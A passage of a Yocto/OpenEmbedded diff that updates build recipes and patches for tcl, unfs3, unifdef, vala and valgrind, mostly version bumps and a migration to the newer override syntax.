-BINCONFIG_GLOB = "*Config.sh"
-
-# Fix the path in sstate
-SSTATE_SCAN_FILES += "*Config.sh"
-
-# Cleanup host path from ${libdir}/tclConfig.sh and remove the
-# ${bindir_crossscripts}/tclConfig.sh from target
-PACKAGE_PREPROCESS_FUNCS += "tcl_package_preprocess"
-tcl_package_preprocess() {
- sed -i -e "s;${DEBUG_PREFIX_MAP};;g" \
- -e "s;-L${STAGING_LIBDIR};-L${libdir};g" \
- -e "s;${STAGING_INCDIR};${includedir};g" \
- -e "s;--sysroot=${RECIPE_SYSROOT};;g" \
- ${PKGD}${libdir}/tclConfig.sh
-
- rm -f ${PKGD}${bindir_crossscripts}/tclConfig.sh
-}
diff --git a/meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch b/meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch
new file mode 100644
index 0000000000..e3496814d8
--- /dev/null
+++ b/meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch
@@ -0,0 +1,14 @@
+Upstream-Status: Backport [https://github.com/unfs3/unfs3/commit/3fa0568e6ef96e045286afe18444bc28fe93962b]
+
+diff --git a/Config/exports.l b/Config/exports.l
+index 662603c..7e7c4fc 100644
+--- a/Config/exports.l
++++ b/Config/exports.l
+@@ -50,6 +50,7 @@ OLDNET {IP}"/"{IP}
+
+ %option nounput
+ %option noinput
++%option noyywrap
+
+ %%
+
diff --git a/meta/recipes-devtools/unfs3/unfs3_git.bb b/meta/recipes-devtools/unfs3/unfs3_git.bb
index d60cee87c9..7a5d273851 100644
--- a/meta/recipes-devtools/unfs3/unfs3_git.bb
+++ b/meta/recipes-devtools/unfs3/unfs3_git.bb
@@ -2,18 +2,19 @@ SUMMARY = "Userspace NFS server v3 protocol"
DESCRIPTION = "UNFS3 is a user-space implementation of the NFSv3 server \
specification. It provides a daemon for the MOUNT and NFS protocols, which \
are used by NFS clients for accessing files on the server."
+HOMEPAGE = "https://github.com/unfs3/unfs3"
SECTION = "console/network"
LICENSE = "unfs3"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9475885294e17c0cc0067820d042792e"
DEPENDS = "flex-native bison-native flex"
DEPENDS += "libtirpc"
-DEPENDS_append_class-nativesdk = " flex-nativesdk"
+DEPENDS:append:class-nativesdk = " flex-nativesdk"
ASNEEDED = ""
S = "${WORKDIR}/git"
-SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https \
+SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https;branch=master \
file://unfs3_parallel_build.patch \
file://alternate_rpc_ports.patch \
file://fix_pid_race_parent_writes_child_pid.patch \
@@ -24,6 +25,7 @@ SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https \
file://0001-daemon.c-Libtirpc-porting-fixes.patch \
file://0001-attr-fix-utime-for-symlink.patch \
file://0001-Add-listen-action-for-a-tcp-socket.patch \
+ file://no-yywrap.patch \
"
SRCREV = "c12a5c69a8d59be6916cbd0e0f41c159f1962425"
UPSTREAM_CHECK_GITTAGREGEX = "unfs3\-(?P<pver>.+)"
@@ -33,9 +35,9 @@ PV = "0.9.22+${SRCPV}"
BBCLASSEXTEND = "native nativesdk"
inherit autotools
-EXTRA_OECONF_append_class-native = " --sbindir=${bindir}"
-CFLAGS_append = " -I${STAGING_INCDIR}/tirpc"
-LDFLAGS_append = " -ltirpc"
+EXTRA_OECONF:append:class-native = " --sbindir=${bindir}"
+CFLAGS:append = " -I${STAGING_INCDIR}/tirpc"
+EXTRA_OECONF:append = " LIBS=-ltirpc"
# Turn off these header detects else the inode search
# will walk entire file systems and this is a real problem
diff --git a/meta/recipes-devtools/unifdef/unifdef_2.11.bb b/meta/recipes-devtools/unifdef/unifdef_2.11.bb
deleted file mode 100644
index 1ffc11e76b..0000000000
--- a/meta/recipes-devtools/unifdef/unifdef_2.11.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Selectively remove #ifdef statements from sources"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-HOMEPAGE = "http://dotat.at/prog/unifdef/"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=78fc6c2c1dc4f18c891ed5b7a469fe32 \
- file://unifdef.c;endline=32;md5=aaec84d8b68d8b6dea71f45e9949ebfe"
-
-SRC_URI = "http://dotat.at/prog/${BPN}/${BP}.tar.xz"
-SRC_URI[md5sum] = "337053fd8a7d9ab3adf5e50f88af95b7"
-SRC_URI[sha256sum] = "828ffc270ac262b88fe011136acef2780c05b0dc3c5435d005651740788d4537"
-
-UPSTREAM_CHECK_REGEX = "unifdef-(?P<pver>((\d+\.*)+)(?![a-f0-9]{6,})).tar"
-
-do_install() {
- oe_runmake install DESTDIR=${D} prefix=${prefix}
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/unifdef/unifdef_2.12.bb b/meta/recipes-devtools/unifdef/unifdef_2.12.bb
new file mode 100644
index 0000000000..b42051b8b6
--- /dev/null
+++ b/meta/recipes-devtools/unifdef/unifdef_2.12.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Selectively remove #ifdef statements from sources"
+SECTION = "devel"
+LICENSE = "BSD-2-Clause"
+HOMEPAGE = "http://dotat.at/prog/unifdef/"
+DESCRIPTION = "The unifdef utility selectively processes conditional C preprocessor #if and #ifdef directives. It removes from a file both the directives and the additional text that they delimit, while otherwise leaving the file alone."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3498caf346f6b77934882101749ada23 \
+ file://unifdef.c;endline=32;md5=6f4ee8085d6e6ab0f7cb4390e1a9c497 \
+ "
+
+SRC_URI = "http://dotat.at/prog/${BPN}/${BP}.tar.xz"
+SRC_URI[md5sum] = "ae8c0b3b4c43c1f6bc5f32412a820818"
+SRC_URI[sha256sum] = "43ce0f02ecdcdc723b2475575563ddb192e988c886d368260bc0a63aee3ac400"
+
+UPSTREAM_CHECK_REGEX = "unifdef-(?P<pver>((\d+\.*)+)(?![a-f0-9]{6,})).tar"
+
+do_install() {
+ oe_runmake install DESTDIR=${D} prefix=${prefix}
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/vala/vala.inc b/meta/recipes-devtools/vala/vala.inc
index 703ed1aa8d..90e0b77de0 100644
--- a/meta/recipes-devtools/vala/vala.inc
+++ b/meta/recipes-devtools/vala/vala.inc
@@ -1,4 +1,5 @@
SUMMARY = "C#-like programming language for easing GObject programming"
+HOMEPAGE = "http://vala-project.org"
DESCRIPTION = "Vala is a C#-like language dedicated to ease GObject programming. \
Vala compiles to plain C and has no runtime environment nor penalities whatsoever."
SECTION = "devel"
@@ -7,13 +8,12 @@ DEPENDS = "bison-native flex-native glib-2.0"
# Appending libxslt-native to dependencies has an effect
# of rebuilding the manual, which is very slow. Let's do this
# only when api-documentation distro feature is enabled.
-DEPENDS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'libxslt-native', '', d)}"
+DEPENDS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'libxslt-native', '', d)}"
# vala-native contains a native version of vapigen, which we use instead of the target one
-DEPENDS_append_class-target = " vala-native"
+DEPENDS:append:class-target = " vala-native"
BBCLASSEXTEND = "native"
-HOMEPAGE = "http://vala-project.org"
-LICENSE = "LGPLv2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
@@ -21,13 +21,13 @@ SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/${BPN}/${SHRT_VER}/${BP}.tar.xz"
inherit autotools pkgconfig upstream-version-is-even
-FILES_${PN} += "${datadir}/${BPN}-${SHRT_VER}/vapi ${libdir}/${BPN}-${SHRT_VER}/"
-FILES_${PN}-doc += "${datadir}/devhelp"
+FILES:${PN} += "${datadir}/${BPN}-${SHRT_VER}/vapi ${libdir}/${BPN}-${SHRT_VER}/"
+FILES:${PN}-doc += "${datadir}/devhelp"
# .gir files from gobject-introspection are installed to ${libdir} when multilib is enabled
GIRDIR_OPT = "${@'--girdir=${STAGING_LIBDIR}/gir-1.0' if d.getVar('MULTILIBS') else ''}"
-do_configure_prepend_class-target() {
+do_configure:prepend:class-target() {
# Write out a vapigen wrapper that will be provided by pkg-config file installed in target sysroot
# The wrapper will call a native vapigen
cat > ${B}/vapigen-wrapper << EOF
@@ -41,16 +41,16 @@ EXTRA_OECONF += " --disable-valadoc"
# Vapigen wrapper needs to be available system-wide, because it will be used
# to build vapi files from all other packages with vala support
-do_install_append_class-target() {
+do_install:append:class-target() {
install -d ${D}${bindir}/
install ${B}/vapigen-wrapper ${D}${bindir}/
}
# Put vapigen wrapper into target sysroot so that it can be used when building
# vapi files.
-SYSROOT_DIRS_append_class-target = " ${bindir}"
+SYSROOT_DIRS:append:class-target = " ${bindir}"
-SYSROOT_PREPROCESS_FUNCS_append_class-target = " vapigen_sysroot_preprocess"
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " vapigen_sysroot_preprocess"
vapigen_sysroot_preprocess() {
# Tweak the vapigen name in the vapigen pkgconfig file, so that it picks
# up our wrapper.
diff --git a/meta/recipes-devtools/vala/vala/0001-git-version-gen-don-t-append-dirty-if-we-re-not-in-g.patch b/meta/recipes-devtools/vala/vala/0001-git-version-gen-don-t-append-dirty-if-we-re-not-in-g.patch
deleted file mode 100644
index ac9dc8c83a..0000000000
--- a/meta/recipes-devtools/vala/vala/0001-git-version-gen-don-t-append-dirty-if-we-re-not-in-g.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 2460d7b79f7e90dcfeebde5e9c53d9b6798a1f3c Mon Sep 17 00:00:00 2001
-From: Martin Jansa <Martin.Jansa@gmail.com>
-Date: Tue, 21 Feb 2012 17:12:50 +0100
-Subject: [PATCH] git-version-gen: don't append -dirty if we're not in git
- repo
-
-* for example if we have some dirty directory and we unpack clean vala tarball in it, then it will append -dirty
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-Upstream-Status: Inappropriate [OE-Specific]
----
- build-aux/git-version-gen | 25 ++++++++++++++-----------
- 1 files changed, 14 insertions(+), 11 deletions(-)
-
-diff --git a/build-aux/git-version-gen b/build-aux/git-version-gen
-index 0fa6faa..1d1f9d2 100755
---- a/build-aux/git-version-gen
-+++ b/build-aux/git-version-gen
-@@ -126,18 +126,21 @@ fi
-
- v=`echo "$v" |sed 's/^v//'`
-
--# Don't declare a version "dirty" merely because a time stamp has changed.
--git status > /dev/null 2>&1
-+if test -d .git
-+then
-+ # Don't declare a version "dirty" merely because a time stamp has changed.
-+ git status > /dev/null 2>&1
-
--dirty=`sh -c 'git diff-index --name-only HEAD' 2>/dev/null` || dirty=
--case "$dirty" in
-- '') ;;
-- *) # Append the suffix only if there isn't one already.
-- case $v in
-- *-dirty) ;;
-- *) v="$v-dirty" ;;
-- esac ;;
--esac
-+ dirty=`sh -c 'git diff-index --name-only HEAD' 2>/dev/null` || dirty=
-+ case "$dirty" in
-+ '') ;;
-+ *) # Append the suffix only if there isn't one already.
-+ case $v in
-+ *-dirty) ;;
-+ *) v="$v-dirty" ;;
-+ esac ;;
-+ esac
-+fi
-
- # Omit the trailing newline, so that m4_esyscmd can use the result directly.
- echo "$v" | tr -d '\012'
---
-1.7.8.4
-
diff --git a/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch b/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
deleted file mode 100644
index ecab0fc1c9..0000000000
--- a/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From dbb1c58e86f2af4613f3ac9571d9b163d4bca675 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 23 Oct 2015 16:13:54 +0300
-Subject: [PATCH] vapigen.m4: use $PKG_CONFIG_SYSROOT_DIR
-
-This is necessary in cross-compiling environments, where directories
-returned by pkg-config should be prefixed with sysroot location.
-
-Upstream-Status: Pending [review in oe-core list]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- vapigen/vapigen.m4 | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/vapigen/vapigen.m4 b/vapigen/vapigen.m4
-index 2c435e7..6228991 100644
---- a/vapigen/vapigen.m4
-+++ b/vapigen/vapigen.m4
-@@ -82,12 +82,12 @@ AC_DEFUN([VAPIGEN_CHECK],
-
- AS_CASE([$enable_vala],
- [yes], [
-- VAPIGEN=`$PKG_CONFIG --variable=vapigen $vapigen_pkg_name`
-- VAPIGEN_MAKEFILE=`$PKG_CONFIG --variable=datadir $vapigen_pkg_name`/vala/Makefile.vapigen
-+ VAPIGEN=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=vapigen $vapigen_pkg_name`
-+ VAPIGEN_MAKEFILE=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=datadir $vapigen_pkg_name`/vala/Makefile.vapigen
- AS_IF([test "x$2" = "x"], [
-- VAPIGEN_VAPIDIR=`$PKG_CONFIG --variable=vapidir $vapigen_pkg_name`
-+ VAPIGEN_VAPIDIR=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=vapidir $vapigen_pkg_name`
- ], [
-- VAPIGEN_VAPIDIR=`$PKG_CONFIG --variable=vapidir_versioned $vapigen_pkg_name`
-+ VAPIGEN_VAPIDIR=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=vapidir_versioned $vapigen_pkg_name`
- ])
- ])
-
---
-2.1.4
-
diff --git a/meta/recipes-devtools/vala/vala_0.46.3.bb b/meta/recipes-devtools/vala/vala_0.46.3.bb
deleted file mode 100644
index eda5738c06..0000000000
--- a/meta/recipes-devtools/vala/vala_0.46.3.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI += "file://0001-git-version-gen-don-t-append-dirty-if-we-re-not-in-g.patch \
- file://0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch \
- "
-
-SRC_URI[md5sum] = "809ddac69b039ef509b61993c848613f"
-SRC_URI[sha256sum] = "e29c2b1f108dc22c91bb501975a77c938aef079ca7875e1fbf41191e22cc57e3"
diff --git a/meta/recipes-devtools/vala/vala_0.54.7.bb b/meta/recipes-devtools/vala/vala_0.54.7.bb
new file mode 100644
index 0000000000..bb38252cf5
--- /dev/null
+++ b/meta/recipes-devtools/vala/vala_0.54.7.bb
@@ -0,0 +1,3 @@
+require ${BPN}.inc
+
+SRC_URI[sha256sum] = "62079ca1ff02e5d17ae72aa9a5adc61ae6afdcfebb0d9f06063a36efbeaca0c7"
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-Implement-linux-rseq-syscall-as-ENOSYS.patch b/meta/recipes-devtools/valgrind/valgrind/0001-Implement-linux-rseq-syscall-as-ENOSYS.patch
new file mode 100644
index 0000000000..be1536980c
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-Implement-linux-rseq-syscall-as-ENOSYS.patch
@@ -0,0 +1,198 @@
+From 1024237358f01009fe233cb1294f3b8211304eaa Mon Sep 17 00:00:00 2001
+From: Mark Wielaard <mark@klomp.org>
+Date: Fri, 10 Dec 2021 17:41:59 +0100
+Subject: [PATCH] Implement linux rseq syscall as ENOSYS
+
+This implements rseq for amd64, arm, arm64, ppc32, ppc64,
+s390x and x86 linux as ENOSYS (without warning).
+
+glibc will start using rseq to accelerate sched_getcpu, if
+available. This would cause a warning from valgrind every
+time a new thread is started.
+
+Real rseq (restartable sequences) support is pretty hard, so
+for now just explicitly return ENOSYS (just like we do for clone3).
+
+Upstream-Status: Backport [ 1024237358f01009fe233cb1294f3b8211304eaa ]
+
+https://sourceware.org/pipermail/libc-alpha/2021-December/133656.html
+---
+ coregrind/m_syswrap/syswrap-amd64-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-arm-linux.c | 1 +
+ coregrind/m_syswrap/syswrap-arm64-linux.c | 3 ++-
+ coregrind/m_syswrap/syswrap-ppc32-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-ppc64-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-s390x-linux.c | 2 ++
+ coregrind/m_syswrap/syswrap-x86-linux.c | 2 ++
+ include/vki/vki-scnums-arm-linux.h | 1 +
+ include/vki/vki-scnums-arm64-linux.h | 4 +++-
+ include/vki/vki-scnums-ppc32-linux.h | 1 +
+ include/vki/vki-scnums-ppc64-linux.h | 1 +
+ include/vki/vki-scnums-s390x-linux.h | 5 ++++-
+ 12 files changed, 23 insertions(+), 3 deletions(-)
+
+diff --git a/coregrind/m_syswrap/syswrap-amd64-linux.c b/coregrind/m_syswrap/syswrap-amd64-linux.c
+index 5062324a1..18b25f80a 100644
+--- a/coregrind/m_syswrap/syswrap-amd64-linux.c
++++ b/coregrind/m_syswrap/syswrap-amd64-linux.c
+@@ -862,6 +862,8 @@ static SyscallTableEntry syscall_table[] = {
+
+ LINXY(__NR_statx, sys_statx), // 332
+
++ GENX_(__NR_rseq, sys_ni_syscall), // 334
++
+ LINX_(__NR_membarrier, sys_membarrier), // 324
+
+ LINX_(__NR_copy_file_range, sys_copy_file_range), // 326
+diff --git a/coregrind/m_syswrap/syswrap-arm-linux.c b/coregrind/m_syswrap/syswrap-arm-linux.c
+index 556dd844b..d583cef0c 100644
+--- a/coregrind/m_syswrap/syswrap-arm-linux.c
++++ b/coregrind/m_syswrap/syswrap-arm-linux.c
+@@ -1024,6 +1024,7 @@ static SyscallTableEntry syscall_main_table[] = {
+ LINX_(__NR_pwritev2, sys_pwritev2), // 393
+
+ LINXY(__NR_statx, sys_statx), // 397
++ GENX_(__NR_rseq, sys_ni_syscall), // 398
+
+ LINXY(__NR_clock_gettime64, sys_clock_gettime64), // 403
+ LINX_(__NR_clock_settime64, sys_clock_settime64), // 404
+diff --git a/coregrind/m_syswrap/syswrap-arm64-linux.c b/coregrind/m_syswrap/syswrap-arm64-linux.c
+index b87107727..2066a38ea 100644
+--- a/coregrind/m_syswrap/syswrap-arm64-linux.c
++++ b/coregrind/m_syswrap/syswrap-arm64-linux.c
+@@ -823,8 +823,9 @@ static SyscallTableEntry syscall_main_table[] = {
+ // (__NR_pkey_mprotect, sys_ni_syscall), // 288
+ // (__NR_pkey_alloc, sys_ni_syscall), // 289
+ // (__NR_pkey_free, sys_ni_syscall), // 290
++ LINXY(__NR_statx, sys_statx), // 291
+
+- LINXY(__NR_statx, sys_statx), // 397
++ GENX_(__NR_rseq, sys_ni_syscall), // 293
+
+ LINXY(__NR_io_uring_setup, sys_io_uring_setup), // 425
+ LINXY(__NR_io_uring_enter, sys_io_uring_enter), // 426
+diff --git a/coregrind/m_syswrap/syswrap-ppc32-linux.c b/coregrind/m_syswrap/syswrap-ppc32-linux.c
+index 6263ab845..637b2504e 100644
+--- a/coregrind/m_syswrap/syswrap-ppc32-linux.c
++++ b/coregrind/m_syswrap/syswrap-ppc32-linux.c
+@@ -1028,6 +1028,8 @@ static SyscallTableEntry syscall_table[] = {
+
+ LINXY(__NR_statx, sys_statx), // 383
+
++ GENX_(__NR_rseq, sys_ni_syscall), // 387
++
+ LINXY(__NR_clock_gettime64, sys_clock_gettime64), // 403
+ LINX_(__NR_clock_settime64, sys_clock_settime64), // 404
+
+diff --git a/coregrind/m_syswrap/syswrap-ppc64-linux.c b/coregrind/m_syswrap/syswrap-ppc64-linux.c
+index a26b41c32..93956d3cc 100644
+--- a/coregrind/m_syswrap/syswrap-ppc64-linux.c
++++ b/coregrind/m_syswrap/syswrap-ppc64-linux.c
+@@ -1019,6 +1019,8 @@ static SyscallTableEntry syscall_table[] = {
+
+ LINXY(__NR_statx, sys_statx), // 383
+
++ GENX_(__NR_rseq, sys_ni_syscall), // 387
++
+ LINXY(__NR_io_uring_setup, sys_io_uring_setup), // 425
+ LINXY(__NR_io_uring_enter, sys_io_uring_enter), // 426
+ LINXY(__NR_io_uring_register, sys_io_uring_register), // 427
+diff --git a/coregrind/m_syswrap/syswrap-s390x-linux.c b/coregrind/m_syswrap/syswrap-s390x-linux.c
+index 5c9209859..73f9684c4 100644
+--- a/coregrind/m_syswrap/syswrap-s390x-linux.c
++++ b/coregrind/m_syswrap/syswrap-s390x-linux.c
+@@ -860,6 +860,8 @@ static SyscallTableEntry syscall_table[] = {
+
+ LINXY(__NR_statx, sys_statx), // 379
+
++ GENX_(__NR_rseq, sys_ni_syscall), // 381
++
+ LINXY(__NR_io_uring_setup, sys_io_uring_setup), // 425
+ LINXY(__NR_io_uring_enter, sys_io_uring_enter), // 426
+ LINXY(__NR_io_uring_register, sys_io_uring_register), // 427
+diff --git a/coregrind/m_syswrap/syswrap-x86-linux.c b/coregrind/m_syswrap/syswrap-x86-linux.c
+index 1d8f45d33..8662ff501 100644
+--- a/coregrind/m_syswrap/syswrap-x86-linux.c
++++ b/coregrind/m_syswrap/syswrap-x86-linux.c
+@@ -1619,6 +1619,8 @@ static SyscallTableEntry syscall_table[] = {
+ /* Explicitly not supported on i386 yet. */
+ GENX_(__NR_arch_prctl, sys_ni_syscall), // 384
+
++ GENX_(__NR_rseq, sys_ni_syscall), // 386
++
+ LINXY(__NR_clock_gettime64, sys_clock_gettime64), // 403
+ LINX_(__NR_clock_settime64, sys_clock_settime64), // 404
+
+diff --git a/include/vki/vki-scnums-arm-linux.h b/include/vki/vki-scnums-arm-linux.h
+index ff560e19d..485db8b26 100644
+--- a/include/vki/vki-scnums-arm-linux.h
++++ b/include/vki/vki-scnums-arm-linux.h
+@@ -432,6 +432,7 @@
+ #define __NR_pkey_alloc 395
+ #define __NR_pkey_free 396
+ #define __NR_statx 397
++#define __NR_rseq 398
+
+
+
+diff --git a/include/vki/vki-scnums-arm64-linux.h b/include/vki/vki-scnums-arm64-linux.h
+index 9aa3b2b5f..acdfb39c6 100644
+--- a/include/vki/vki-scnums-arm64-linux.h
++++ b/include/vki/vki-scnums-arm64-linux.h
+@@ -323,9 +323,11 @@
+ #define __NR_pkey_alloc 289
+ #define __NR_pkey_free 290
+ #define __NR_statx 291
++#define __NR_io_pgetevents 291
++#define __NR_rseq 293
+
+ #undef __NR_syscalls
+-#define __NR_syscalls 292
++#define __NR_syscalls 294
+
+ ///*
+ // * All syscalls below here should go away really,
+diff --git a/include/vki/vki-scnums-ppc32-linux.h b/include/vki/vki-scnums-ppc32-linux.h
+index 6987ad941..08fa77df0 100644
+--- a/include/vki/vki-scnums-ppc32-linux.h
++++ b/include/vki/vki-scnums-ppc32-linux.h
+@@ -415,6 +415,7 @@
+ #define __NR_pkey_alloc 384
+ #define __NR_pkey_free 385
+ #define __NR_pkey_mprotect 386
++#define __NR_rseq 387
+
+ #endif /* __VKI_SCNUMS_PPC32_LINUX_H */
+
+diff --git a/include/vki/vki-scnums-ppc64-linux.h b/include/vki/vki-scnums-ppc64-linux.h
+index 6827964fd..a76fa6d32 100644
+--- a/include/vki/vki-scnums-ppc64-linux.h
++++ b/include/vki/vki-scnums-ppc64-linux.h
+@@ -407,6 +407,7 @@
+ #define __NR_pkey_alloc 384
+ #define __NR_pkey_free 385
+ #define __NR_pkey_mprotect 386
++#define __NR_rseq 387
+
+ #endif /* __VKI_SCNUMS_PPC64_LINUX_H */
+
+diff --git a/include/vki/vki-scnums-s390x-linux.h b/include/vki/vki-scnums-s390x-linux.h
+index 6487e20c9..869c04584 100644
+--- a/include/vki/vki-scnums-s390x-linux.h
++++ b/include/vki/vki-scnums-s390x-linux.h
+@@ -342,8 +342,11 @@
+ #define __NR_s390_guarded_storage 378
+ #define __NR_statx 379
+ #define __NR_s390_sthyi 380
++#define __NR_kexec_file_load 381
++#define __NR_io_pgetevents 382
++#define __NR_rseq 383
+
+-#define NR_syscalls 381
++#define NR_syscalls 384
+
+ /*
+ * There are some system calls that are not present on 64 bit, some
+--
+2.30.2
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch b/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch
deleted file mode 100644
index a78e1953ff..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 9762fd23e1f1db66d4b977c694a17d3bca3fe99a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 8 Jan 2016 16:36:29 +0200
-Subject: [PATCH] Remove tests that fail to build on some PPC32 configurations
-
-Failures are documented here:
-http://errors.yoctoproject.org/Errors/Search/?items=10&query=862d702fbb99e484631315aa44b9e46f8fc567da&filter=valgrind&type=recipe
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Upstream-Status: Pending
----
- memcheck/tests/ppc32/Makefile.am | 2 +-
- none/tests/ppc32/Makefile.am | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/memcheck/tests/ppc32/Makefile.am b/memcheck/tests/ppc32/Makefile.am
-index 26b95a2..8f05743 100644
---- a/memcheck/tests/ppc32/Makefile.am
-+++ b/memcheck/tests/ppc32/Makefile.am
-@@ -10,7 +10,7 @@ EXTRA_DIST = $(noinst_SCRIPTS) \
- power_ISA2_07.stderr.exp power_ISA2_07.vgtest
-
- check_PROGRAMS = \
-- power_ISA2_05 power_ISA2_07
-+ power_ISA2_07
-
- power_ISA2_05_CFLAGS = $(AM_CFLAGS) $(WERROR) -Winline -Wall -Wshadow -g \
- -I$(top_srcdir)/include @FLAG_M32@
-diff --git a/none/tests/ppc32/Makefile.am b/none/tests/ppc32/Makefile.am
-index 196239e..0fe3425 100644
---- a/none/tests/ppc32/Makefile.am
-+++ b/none/tests/ppc32/Makefile.am
-@@ -50,13 +50,13 @@ EXTRA_DIST = \
-
- check_PROGRAMS = \
- allexec \
-- lsw jm-insns round \
-+ lsw \
- test_isa_2_06_part1 test_isa_2_06_part2 test_isa_2_06_part3 \
- test_dfp1 test_dfp2 test_dfp3 test_dfp4 test_dfp5 \
- test_isa_2_07_part1 test_isa_2_07_part2 \
- test_tm test_touch_tm ldst_multiple data-cache-instructions \
- test_fx test_gx \
-- testVMX twi tw xlc_dbl_u32 power5+_round power6_bcmp \
-+ twi tw xlc_dbl_u32 power6_bcmp \
- bug129390-ppc32 bug139050-ppc32 \
- ldstrev mftocrf mcrfs
-
---
-2.6.4
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch b/meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch
deleted file mode 100644
index 4bc4bb086c..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-adjust-path-filter-for-2-memcheck-tests.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From bf63e35c3036e6040c8cfecabc7160b1f36b0591 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Wed, 28 Aug 2019 12:31:15 -0400
-Subject: [PATCH] adjust path filter for 2 memcheck tests
-
-Test executables produced when cross-compiling can contain
-relative paths such as:
- coregrind/tests/../../../valgrind-3.15.0/coregrind/
-Use the --fullpath-after option to match and therefore
-suppress more of the prefix to enable test to pass.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- memcheck/tests/badfree3.vgtest | 2 +-
- memcheck/tests/varinfo5.vgtest | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/memcheck/tests/badfree3.vgtest b/memcheck/tests/badfree3.vgtest
-index 3dfc5fd8a..57eec21f3 100644
---- a/memcheck/tests/badfree3.vgtest
-+++ b/memcheck/tests/badfree3.vgtest
-@@ -1,3 +1,3 @@
- prog: badfree
--vgopts: -q --fullpath-after=memcheck/ --fullpath-after=coregrind/
-+vgopts: -q --fullpath-after=/valgrind-3.15.0/memcheck/ --fullpath-after=/valgrind-3.15.0/coregrind/
- stderr_filter_args: badfree.c
-diff --git a/memcheck/tests/varinfo5.vgtest b/memcheck/tests/varinfo5.vgtest
-index 063d00dce..6907bb2f6 100644
---- a/memcheck/tests/varinfo5.vgtest
-+++ b/memcheck/tests/varinfo5.vgtest
-@@ -1,3 +1,3 @@
- prog: varinfo5
--vgopts: --fullpath-after=memcheck/ --fullpath-after=coregrind/ --read-var-info=yes --read-inline-info=yes -q
-+vgopts: --fullpath-after=/valgrind-3.15.0/memcheck/ --fullpath-after=/valgrind-3.15.0/coregrind/ --read-var-info=yes --read-inline-info=yes -q
- stderr_filter: filter_varinfo3
---
-2.22.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch b/meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch
new file mode 100644
index 0000000000..256ddb0c34
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-docs-Disable-manual-validation.patch
@@ -0,0 +1,36 @@
+From 99fc6fe9b66becac3c94068129e84217330a71a6 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 13 Jan 2022 18:26:02 -0800
+Subject: [PATCH] docs: Disable manual validation
+
+validating manual and manpages, this task involves calling xmllint which
+accesses network and --nonet option also does not disable this,
